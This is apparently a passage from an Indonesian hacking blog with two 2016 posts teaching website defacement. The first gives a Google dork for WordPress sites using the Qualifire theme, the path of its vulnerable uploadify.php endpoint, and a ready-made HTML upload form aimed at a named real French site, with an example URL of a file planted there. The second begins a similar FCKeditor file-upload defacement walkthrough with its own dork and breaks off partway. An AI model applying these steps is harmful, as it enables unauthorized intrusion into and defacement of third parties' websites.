Monday, January 4, 2016

Deface Wordpress Themes Qualifire FIle Upload

kali ini kakafuad mau shareing gimana cara nya pepes dengan metode Qualifire File Upload

pertama-tama kita cari terlebih dahulu targetnya gunain dork ini

inurl:/wp-content/themes/qualifire site:.fr

selanjutnya pilih salah satu ,,

kemudian exploit urlnya dengan ini

/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php

tempatkan tepat dibelakang site.com/ nya

kalo vuln ,, dia akan blank seperti gambar diatas.

sekarang gunakan script berikut untuk upload file kedalam situsnya.

<form

action="http://www.lightsonorisation.fr/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="Submit">

</form>

yang berwana merah ganti dengan site yang kalian temukan. simpan dengan ekstensi .html

kemudian buka file yang sudah dibuat tadi.

sekarang waktunya pertunjukan ,, upload file nya kemudian submit.

jika berhasil maka akan seperti pada tampilan berikut, ada angka 1

sekarang uji coba.. cara memanggilnya dengan site.fr/file

contoh : http://www.lightsonorisation.fr/2016.png

HAPPY NEW YEARS 2016 ( ^_^ )!!!!

Friday, January 1, 2016

Deface web dengan metode Teknik FCKEDITOR

11:22 PM Unknown Deface 1 comment

kali ini saya mau share teknik deface level easy.

pertama kalian harus punya dork dan file defacenya terlebih dahulu,, ini saya kasih

inurl:FCKeditor filemanager/connectors/

untuk file defacenya bisa buat sendiri dengan format .txt doc, jpg, png dan gif

dorknya tadi pastekan di google kemudian pilih salah satu websitenya.

selanjutnya kalian akan menumukan tampilan seperti berikut disini saya mencoba memilih uploadtest.html kalo temen-temen mau coba test.html juga gak masalah karena gunanya sama untuk mengupload juga.